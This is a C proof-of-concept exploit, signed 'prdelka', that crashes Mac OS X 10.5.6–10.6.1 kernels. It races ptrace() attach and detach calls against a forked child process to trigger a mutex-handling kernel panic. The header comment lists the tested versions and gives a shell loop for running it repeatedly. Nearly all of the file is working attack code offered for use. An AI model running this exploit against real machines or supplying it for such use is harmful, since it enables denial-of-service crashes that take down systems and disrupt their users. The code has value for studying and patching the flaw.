/*
  Mac OS X 10.5.6-10.6.1 ptrace() mutex handling DoS 
  ==================================================
  This code should be run in a loop and due to problems 
  with mutex handling in ptrace a DoS can occur when a 
  destroyed mutex is attempted to be interlocked by OSX 
  kernel giving rise to a race condition. You may need
  to run this code multiple times.
  
  - Tested against 10.5.6
  - Tested against 10.5.7
  - Tested against 10.6.1

  while `true`;do ./prdelka-vs-APPLE-ptracepanic;done

  -- prdelka
*/
#include <sys/types.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>


int main(){
  pid_t pid;
  char *argv[] = {"id","","",0};
  char *envp[] = {"",0};
  pid = fork();
  if(pid == 0){
    usleep(100);
    execve("/usr/bin/id",argv,envp);
  }
  else{
    usleep(820);
    if(ptrace(PT_ATTACH,pid,0,0)==0){
      printf("[ PID: %d has been caught!\n",pid);
      if(ptrace(PT_DETACH,pid,0,0)<0){
        perror("Evil happens.");
      }
      usleep(1);
      wait(0);
      }
    else{
      perror("Fail!");
    }
  }
  return(0);
}